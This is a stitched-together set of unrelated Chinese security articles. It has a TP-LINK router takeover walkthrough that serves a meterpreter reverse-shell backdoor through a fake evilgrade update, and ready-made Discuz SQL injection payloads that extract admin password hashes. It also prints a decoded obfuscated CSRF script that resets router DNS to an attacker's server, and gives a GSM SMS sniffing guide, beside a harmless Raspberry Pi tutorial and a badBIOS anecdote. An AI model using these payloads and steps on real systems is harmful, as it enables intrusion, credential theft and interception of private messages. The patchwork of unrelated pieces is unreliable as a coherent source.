TP-LINK渗透Report

0x00 工具


一台笔记本电脑 TD-W8901D路由器(firmware 6.0.0) 虚拟机(WIN7)、Kali Linux(攻击机)、evilgrade(一个模块化的脚本框架,可实现伪造的升级、自带DNS和WEB服务模块,http://www.infobyte.com.ar/down/isr-evilgrade-Readme.txt) Metasploit。

PDF:TPLink

0x01 示例


互联网攻击示意图:

enter image description here

 

局域网攻击示意图

enter image description here

市场上有很多类型的路由器可用,但绝大部分从未升级固件,所以可对大多数家用路由进行这个攻击,在这个项目中使用的是最常见的TPlink路由器。

TPLINK某些版本有一个关键的漏洞:未授权访问Firmware/Romfile界面,无需登陆密码,像这样http://IP//rpFWUpload.html。

同时也可以下载romfile备份文件(rom-0),像这样:http://IP address/rom-0。

步骤一:下载rom文件 enter image description here

下载回来的rom文件需要逆向工程得到明文密码,但有一个更简单的方法,去俄罗斯的一个网站可以解密 http://www.hakim.ws/huawei/rom-0/

步骤二:使用账号密码登陆 enter image description here

第三步:使用搜索引擎SHODAN 搜索RomPager,可在互联网上找到700多万个这种设备 enter image description here

简单的改变一下路由器的DNS,就可以重定向用户的请求,这个方法可以用来钓鱼(从我了解的情况看来,国内已经有大批路由被利用,并已经被黑产用作钓鱼欺诈,黑产表打我,我猜的)。但这个太简单了,作者希望玩的更高(hua)深(shao)一些。

默认DNS的配置是这样: enter image description here

改成攻击者自己的DNS:

enter image description here

攻击系统:DNS服务器一台、kali预装了evilgrade 和metasploit。

enter image description here

第五步:建一个带后门的payload,给用户发送升级指令。LHOST= 攻击者机器IP和 LPORT =任何开放的端口。

Commad:@@# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.5.132 LPORT=8080 x > navebackdoor.exe 

2014071323521922657.jpg

第六步:启动metasploit、运行payload

2014071323523583152.jpg

2014071323530565178.jpg

2014071323531775176.jpg

第七步:设置监听主机和监听端口,命令:set LHOST(攻击者的IP)、set LPORT(监听端口,创建后门时分配的)、exploit(进行攻击)

2014071323533763041.jpg

第八步:启动假的WEB升级服务器evilgrade,执行show modules后,可以看到很多假更新模块,这里选用notepadplus

2014071323535610035.jpg

2014071323541051845.jpg

2014071323542812615.jpg

第九步:show options可以看到模块的使用方法,设置后门升级文件路径使用agent:

Set  agent  ‘[“<%OUT%>/root/Desktop/navebackdoor.exe<%OUT%>”]’ 

2014071323544287175.jpg

第十步:完成以上动作后,启动EvilGrade的WEB服务器:

start

2014071323550126547.jpg

第十一步:等受害者打开notepadplus,一旦打开就会弹出要求更新的提示,更新过程中将会加载我们的后门程序。

2014071323551940538.jpg

2014071323553365266.jpg

第十二步:在攻击机器上,evilgrade和Metasploit建立会话,等待返回的shell

2014071323554774816.jpg

第十三步:拿到shell,使用sysinfo查看一下:

2014071323560039521.jpg

输入help可以看到很多命令,包括scrrenshot、killav,运行vnc 等

2014071323561637433.jpg

2014071323563672357.jpg

0x02 防御方法


经常升级你的路由器版本

路由器不要在公网暴露

系统和软件升级时检查证书

设置静态IP,比如google的8.8.8.8、8.8.4.4(广告:阿里巴巴的公共dns 223.5.5.5 和 223.6.6.6)

高大上的漏洞Discuz x1.5– x2版本 二次注射

a’,`subject`=(/*!select*/ concat(username,’|’,password,’|’,salt) from pre_ucenter_members where uid=1 limit 0,1),comment=’

再给出一些语句。

‘,`subject`=(/*!select*/ group_concat(uid,’:’) from pre_common_member where groupid=1),comment=’//查看管理用户
‘,`subject`=(/*!select*/ group_concat(uid,’:’) from pre_common_member where groupid=2),comment=’//超级版主
‘,`subject`=(/*!select*/ group_concat(uid,’:’) from pre_common_member where groupid=3),comment=’//超级版主
‘,`subject`=(/*!select*/ table_name from information_schema.tables where table_schema=0x0000 limit 0,1),comment=’//跑表
‘,`subject`=(/*!select*/ group_concat(schema_name) from information_schema.schemata),comment=’//获取所有库
‘,`subject`=(/*!select*/ concat(@@version,’:’,user(),’:’,database())),comment=’//版本信息

然后到回复补充那里随便补充一下,注入语句就被执行。
补充的地址:

forum.php?mod=misc&tid={tid}&action=postappend&pid={pid}

上面的语句就会把取得的内容写进回复主题返回。
漏洞文件:
source\module\forum\forum_misc.php

个人位置信息安全(GPS)

随着无线技术的发展,个人位置信息安全也成为一个安全议题,常见的定位手段有1.全球定位系统(GPS)2.辅助全球定位系统(AGPS)3.GSM蜂窝基站定位4.WIFI定位  面对此类通过无线电方式的定位,我们可以采用Wave Bubble进行无线电屏蔽达到防止定位的目的.

但在某些情形下Wave Bubble并不能完全逃避GPS追踪.信号的消失点及GPS运动踪迹会暴露可能的行动路径.这类情况下可以使用GPS Spoofer手段进行GPS欺骗.使GPS数据遵循可能规律不断变化来欺骗GPS卫星.在需要的环境下,GPS Spoofer同样也可以诱导GPS导向仪进行非正常路径导航.

Raspberry Pi搭建NAS服务器及打印服务器

NAS服务器搭建步骤如下:
sudo apt-get install samba
sudo apt-get install samba-common-bin
安装完成后,我们在/ect/samba/文件夹中找到这个文件smb.conf,它是用来对samba服务配置用的,用nano文件编辑器打开后发现里面很是复杂,没关系,我们只需要一个简单smb.conf。先将smb.conf重命名为smb.conf.backup。然后用下面的smb.conf替换原来的smb.conf

[global]
log file = /var/log/samba/log.%m
[tmp]
comment = Temporary file space
path = /tmp
read only = no
public = yes

保存完毕后输入命令:
sudo /etc/init.d/samba retsart
这条命令是重启samba服务,为使刚刚重新设置的配置文件生效。
这时打开电脑上的网上邻居(要保证你的电脑和树莓派在同一局域网内),你就会看到名为RASPBERRYPI这个主机了,尝试打开,发现需要用户名与密码,那下面就来创建用户吧。
@}WKY)1FS9536GW6YCIM5[N.jpg
由于创建的samba用户需要是系统内已经存在的用户,而系统默认是只有root和pi这两个用户的,如果想使用其他的用户名怎么办,新建一个(假设我们要新建一个用户名为aaa的用户)
输入命令:
sudo useradd aaa
这时系统就新建了一个名为aaa的用户,但不是我们samba还没有设置呢,别急,看下面

在/etc/samba/文件夹下建立smbpasswd文件,命令为:
sudo touch /etc/samba/smbpasswd

再给samba添加用户名为aaa的用户:sudo smbpasswd -a aaa
会让你输入密码的,自己设一个,设完了会显示:Added user aaa

到这里就搞定了,再打开网上邻居,输入刚刚设好的用户名与密码,这时就进去了,会发现一个tmp的文件夹,可以在这个文件夹内自由地读写数据了。

 

 

打印服务器搭建准备工作:
1.连接网络的树莓派
2.usb接口的打印机

步骤如下:
1.安装CUPS软件,”CUPS“是linux下可以用通用打印系统(百度百科http://baike.baidu.com/view/887944.htm

  1. sudo apt-get install cups

复制代码

1.jpg

2.允许pi用户配置CUPS,

  1. sudo usermod -a -G lpadmin pi

复制代码

3.备份替换CUPS配置:
关闭服务

  1. sudo service cups stop

复制代码

备份配置文件

  1. sudo mv /etc/cups/cupsd.conf /etc/cups/cupsd.conf.bak

复制代码

替换配置文件(root用户去掉“sudo”)

  1. sudo cd /etc/cups/ && sudo wget http://jxeeno.tk/local–files/blog:raspberry-pi:print-server/cupsd.conf

复制代码

重启服务

  1. sudo service cups start

复制代码

4.PC端用IE浏览器打开网站“https://树莓派ip:631/ 
2.jpg

5.点击“Administrator”界面添加对应的打印机,登录帐号和密码是树莓派的pi用户的密码

3.jpg4.jpg
在local printers中找到usb连接的打印机,打印机名“scx3405”

 

 

 

 

 

到此树莓派的打印机设置就完成了!

 

6.网络打印机的地址“http://树莓派ip:631/printers/scx3405 ”,PC端按照此地址添加网络打印机和驱动就行了

 

GSM Hackeing 之 SMS Sniffer 学习

0x00 前言


最近看到微博以及一些论坛谈论关于GSM Hacking的比较多,使用的是开源的程序 osmocombb 和摩托罗拉的手机 c118。我也凑凑热闹,找来相关资料进行学习,国内关于这方面的资料的确太少了,大都是一些编译 osmocombb 的资料,而没有更深入的学习资料,比如如何进行 GSM SMS 的 Sniffer,估计是在我大宋朝这个太敏感了吧。

不过最近在 http://www.hacklook.com/ 却有不少相关的资料可以参考学习,在次对作者表示感谢。

 

0x01 准备工具


对这方面学习所需要的工具倒不是很昂贵,下面罗列出需要的材料:

一台笔记本或者一台虚拟机
C118 手机一台
FT232RL、CP2102、PL2303 USB2TTL 模块一个
2.5mm 耳机插头带线一根

C118 手机淘宝 25 元左右一台,为了避免广告这里不给出链接了。USB2TTL模块我这里用的是PL2303,我看有的文章说这个不行,但是我这里没问题,2.5mm的耳机线买的是那种两头都是插头的,中间剪开然后接上杜邦头就可以和USB2TTL进行连接了。以上成本加起来30元左右。 下面是全家福

enter image description here

0x02 编译环境


PC端环境我使用的是虚拟机,操作系统安装Kali Linux操作系统,由于Kali系统中已经有PL2303的驱动,so太方便了。Kali的安装就略过。下面进行osmocombb的编译:

安装需要的包

1
sudo apt-get install libtool shtool autoconf git-core pkg-config make gcc build-essential libgmp3-dev libmpfr-dev libx11-6 libx11-dev texinfo flex bison libncurses5 libncurses5-dbg libncurses5-dev libncursesw5 libncursesw5-dbg libncursesw5-dev zlibc zlib1g-dev libmpfr4 libmpc-dev  

然后建立交叉编译环境,主要参考下面文章:

http://bb.osmocom.org/trac/wiki/GnuArmToolchain

下载 osmocombb、libosmocore 源码

1
2
3
cd ~  
git clone git://git.osmocom.org/osmocom-bb.git  
git clone git://git.osmocom.org/libosmocore.git

编译 libosmocore

1
2
3
4
5
cd ~/libosmocore
autoreconf -i  
./configure
make
sudo make install

然后切换 osmocombb 到下面的分支,并且编译

1
2
3
4
cd ~/osmocom-bb
git checkout --track origin/luca/gsmmap
cd src  
make

0x03 测试


经过上面的编译过程,环境准备的差不多了,下面进行测试,首先确保一下步骤:

把 USB2TTL 模块插入到电脑上,再共享到虚拟机中

把带有 2.5mm 耳机插头的线一头接手机,另外一头链接 USB2TTL 模块

可以通过下面命令来查看是否正常:

1
lsmod | grep usb

我这边显示为:

1
usbserial              23960  1 pl2303

手机处于关机状态,运行如下命令:

1
2
cd ~/osmocom-bb/src/host/osmocon/
./osmocon -m c123xor -p /dev/ttyUSB0 ../../target/firmware/board/compal_e88/layer1.compalram.bin

这个时候短按手机开机键,在虚拟机中会看到如下输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
got 1 bytes from modem, data looks like: 2f  /
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 1b  .
got 4 bytes from modem, data looks like: f6 02 00 41  ...A
got 1 bytes from modem, data looks like: 01  .
got 1 bytes from modem, data looks like: 40  @
Received PROMPT1 from phone, responding with CMD
read_file(../../target/firmware/board/compal_e88/layer1.compalram.bin): file_size=56016, hdr_len=4, dnload_len=56023
got 1 bytes from modem, data looks like: 1b  .
got 1 bytes from modem, data looks like: f6  .
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 41  A
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 43  C
Received PROMPT2 from phone, starting download
handle_write(): 4096 bytes (4096/56023)
handle_write(): 4096 bytes (8192/56023)
handle_write(): 4096 bytes (12288/56023)
handle_write(): 4096 bytes (16384/56023)
handle_write(): 4096 bytes (20480/56023)
handle_write(): 4096 bytes (24576/56023)
handle_write(): 4096 bytes (28672/56023)
handle_write(): 4096 bytes (32768/56023)
handle_write(): 4096 bytes (36864/56023)
handle_write(): 4096 bytes (40960/56023)
handle_write(): 4096 bytes (45056/56023)
handle_write(): 4096 bytes (49152/56023)
handle_write(): 4096 bytes (53248/56023)
handle_write(): 2775 bytes (56023/56023)
handle_write(): finished
got 1 bytes from modem, data looks like: 1b  .
got 1 bytes from modem, data looks like: f6  .
got 1 bytes from modem, data looks like: 02  .
got 1 bytes from modem, data looks like: 00  .
got 1 bytes from modem, data looks like: 41  A
got 1 bytes from modem, data looks like: 03  .
got 1 bytes from modem, data looks like: 42  B
Received DOWNLOAD ACK from phone, your code is running now!
battery_compal_e88_init: starting up

然后在虚拟机中再起一个终端,执行如下命令进行基站扫描

1
2
cd ~/osmocom-bb/src/host/layer23/src/misc/
./cell_log

看到如下输出则说明扫描到可用的基站

1
2
3
4
ARFCN 117: tuning
ARFCN 117: got sync
Cell ID: 460_1_03EE_B130
<000e> cell_log.c:248 Cell: ARFCN=117 PWR=-62dB MCC=460 MNC=01 (China, China Unicom)

基站的绝对无线频道编号为 117,然后通过如下的命令进行抓包

1
2
cd ~/osmocom-bb/src/host/layer23/src/misc/
./ccch_scan -i 127.0.0.1 -a 117

同时开启 wireshark 抓包,

1
sudo wireshark -k -i lo -f 'port 4729'

然后在 wireshark 的 filter 中对 gsm_sms 的包进行过滤显示 下图为抓到的短信包:

enter image description here

0x04 最后


本文参考下面资料:

http://bb.osmocom.org/

https://srlabs.de/gsm-map-tutorial/

https://srlabs.de/gprs/

http://www.hacklook.com/forum.php?mod=viewthread&tid=12

http://www.hacklook.com/forum.php?mod=viewthread&tid=22

下面是部分注意事项

请注意 USB2TTL GND/TX/RX 的接线顺序

以及确认交叉编译环境正常工作

OVER!

CSRF劫持TP-LINK-DNS

0x00 背景


路由被CSRF攻击,修改DNS的话题最近一直比较活跃,但是国内貌似没有一个技术文章详细的分析此漏洞,漏洞成因比较简单,本篇来科普一下。

本篇讲得是一个利用CVE-2013-2645的漏洞,来修改TP-LINK的DNS案例,针对其他路由的攻击大同小异。

 

0x01 EXP分析


攻击者会在自己的网站或者已经受他控制的网站上加入一段javascript代码:

document.write("<script type=\"text/javascript\" src=\"http://www.xxxxxx.com/js/ma.js\">");

javascript代码动态的从外站加载一个ma.js的文件,看一下ma.js文件里的内容:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k);return p;}('T w$=["\\E\\6\\5\\m\\o\\3\\q\\5\\m\\8\\3\\7\\"\\5\\3\\G\\5\\j\\r\\6\\6\\"\\y\\B\\d\\e\\8\\v\\4\\5\\q\\u\\4\\o\\H\\n\\5\\5\\8\\A\\j\\j\\a\\i\\e\\d\\f\\A\\a\\i\\e\\d\\f\\B\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\j\\u\\6\\3\\4\\z\\8\\e\\j\\s\\a\\f\\F\\n\\r\\8\\C\\3\\4\\l\\3\\4\\z\\8\\e\\1\\n\\5\\e\\I\\i\\n\\r\\8\\6\\3\\4\\l\\3\\4\\7\\2\\c\\d\\8\\2\\7\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\b\\b\\c\\d\\8\\h\\7\\2\\k\\h\\1\\2\\g\\9\\1\\2\\1\\2\\k\\k\\c\\s\\3\\a\\6\\3\\7\\2\\h\\b\\c\\Q\\a\\5\\3\\x\\a\\m\\7\\b\\1\\b\\1\\b\\1\\b\\c\\i\\v\\e\\a\\d\\f\\7\\c\\i\\f\\6\\6\\3\\4\\l\\3\\4\\7\\2\\b\\g\\1\\2\\9\\P\\1\\D\\g\\1\\9\\R\\c\\i\\f\\6\\6\\3\\4\\l\\3\\4\\h\\7\\9\\1\\9\\1\\9\\1\\9\\c\\C\\a\\l\\3\\7\\p\\t\\2\\p\\S\\D\\O\\p\\t\\K\\p\\J\\g\\L\\N\\E\\j\\6\\5\\m\\o\\3\\y\\q"];M["\\x\\4\\d\\5\\3\\o\\f"](w$[0]);',56,56,'|x2e|x31|x65|x72|x74|x73|x3d|x70|x38|x61|x30|x26|x69|x6d|x6e|x36|x32|x64|x2f|x39|x76|x79|x68|x6c|x25|x20|x63|x4c|x42|x75|x6f|_|x77|x3e|x52|x3a|x40|x53|x33|x3c|x44|x78|x28|x3f|x45|x34|x29|document|x3b|x2b|x37|x67|x35|x41|var'.split('|'),0,{}))

嗯,是一段混淆的js代码,eval执行一段混淆代码,把eval换成console.log在浏览器的控制台输出一下:

var _$=["\x3c\x73\x74\x79\x6c\x65\x20\x74\x79\x70\x65\x3d\"\x74\x65\x78\x74\x2f\x63\x73\x73\"\x3e\x40\x69\x6d\x70\x6f\x72\x74\x20\x75\x72\x6c\x28\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x6d\x69\x6e\x3a\x61\x64\x6d\x69\x6e\x40\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x2f\x75\x73\x65\x72\x52\x70\x6d\x2f\x4c\x61\x6e\x44\x68\x63\x70\x53\x65\x72\x76\x65\x72\x52\x70\x6d\x2e\x68\x74\x6d\x3f\x64\x68\x63\x70\x73\x65\x72\x76\x65\x72\x3d\x31\x26\x69\x70\x31\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x30\x30\x26\x69\x70\x32\x3d\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x2e\x31\x39\x39\x26\x4c\x65\x61\x73\x65\x3d\x31\x32\x30\x26\x67\x61\x74\x65\x77\x61\x79\x3d\x30\x2e\x30\x2e\x30\x2e\x30\x26\x64\x6f\x6d\x61\x69\x6e\x3d\x26\x64\x6e\x73\x73\x65\x72\x76\x65\x72\x3d\x31\x30\x36\x2e\x31\x38\x37\x2e\x33\x36\x2e\x38\x35\x26\x64\x6e\x73\x73\x65\x72\x76\x65\x72\x32\x3d\x38\x2e\x38\x2e\x38\x2e\x38\x26\x53\x61\x76\x65\x3d\x25\x42\x31\x25\x41\x33\x2b\x25\x42\x34\x25\x45\x36\x29\x3b\x3c\x2f\x73\x74\x79\x6c\x65\x3e\x20"];document["\x77\x72\x69\x74\x65\x6c\x6e"](_$[0]);

仍然是混淆的代码,但是比一开始的容易看很多,只是把一些字符串给转成了16进制方式表示而已。

\x77\x72\x69\x74\x65\x6c\x6e这段16进制表示的是字符串writeln

javascript中document["writeln"]与document.writeln一样,这是javascript两种访问对象属性的写法。

代码最终等同于:

document.writeln('<style type="text/css">@import url(http://admin:[email protected]/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6);</style>')

现在就很明了了,写了一个style标签import一个css调用,让浏览器去访问这个地址:

http://admin:[email protected]/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=106.187.36.85&dnsserver2=8.8.8.8&Save=%B1%A3+%B4%E6

很明显的一个CSRF攻击,攻击者的主要目的是把dns服务器换成106.187.36.85,为了使攻击成功,还加入了一些必要的提交参数,如ip范围是从192.168.1.100-199等。

为了确保所有访问都没有问题,还加入了google的dns,当106.187.36.85有不能解析的域名时,去8.8.8.8获取地址。

针对CSRF的原理危害以及修复方式,drops之前有文章讲过可以参考一下:

CSRF简单介绍及利用方法

应当注意的是这个利用是根据路由的默认密码进入后台做一系列的操作的,如果路由器已经修改的默认用户名密码,可以避免此危害,但是如果浏览器已经在路由后台,或者cookie还未失效,仍然能够攻击成功。

0x02 修改DNS的危害


攻击者为什么要修改DNS呢,当他获取DNS的权限后,他能做什么呢:

1、用户打开一个正常网站时,重定向到一个钓鱼网站。
2、给正常网站加入挂马代码,控制用户PC。
3、软件升级时候不用签名的话,可控制软件的升级。
4、不使用证书的话可以截取邮箱密码,网站上的密码等等。
5、更改网站上的广告,换成自己的。(我觉得这是天朝黑客获取利润的方式)

0x03 如何避免这种攻击


1、首先应该先检查一下自己的dns是否已经被改变了。
2、升级路由的固件,有部分型号已经修复。
3、更改路由器的默认密码。
4、登陆路由后,退出要点击“注销”。

通过Mic高频物理无线传输病毒

badbios

三年前,安全顾问、Pwn2Own黑客挑战赛创始人Dragos Ruiu在实验室里注意到一件非同寻常的事情:

 

刚刚全新安装OS X的MacBook Air笔记本自动更新了BIOS固件,之后当他试图从CD ROM启动机器时遭到了拒绝,他还发现机器会不做任何提示删除数据和撤销配置更改。

 

随后几个月,事情越发离奇,仿佛是出自科幻惊悚片:一台运行Open BSD的计算机也开始不做任何提示删除数据和更改配置。

他的网络专门通过IPv6传输数据,即使关闭了IPv6协议也没用。最最难以置信的是,拔掉电源线和网线、移除Wi-Fi和蓝牙网卡的被感染机器也能传输网络数据。神秘的BIOS固件病毒badBIOS还能感染Windows和Linux。深入调查分析发现,只有在移除内部扬声器和麦克风之后,抓包工具才发现不再有数据包传输。Ruiu指出,这个恶意程序能利用扬声器和麦克风在计算机之间进行高频传输。badBIOS并不是利用扬声器麦克风传播病毒,而是通过麦克风在被感染机器之间进行通信,就像是彼此之间联网。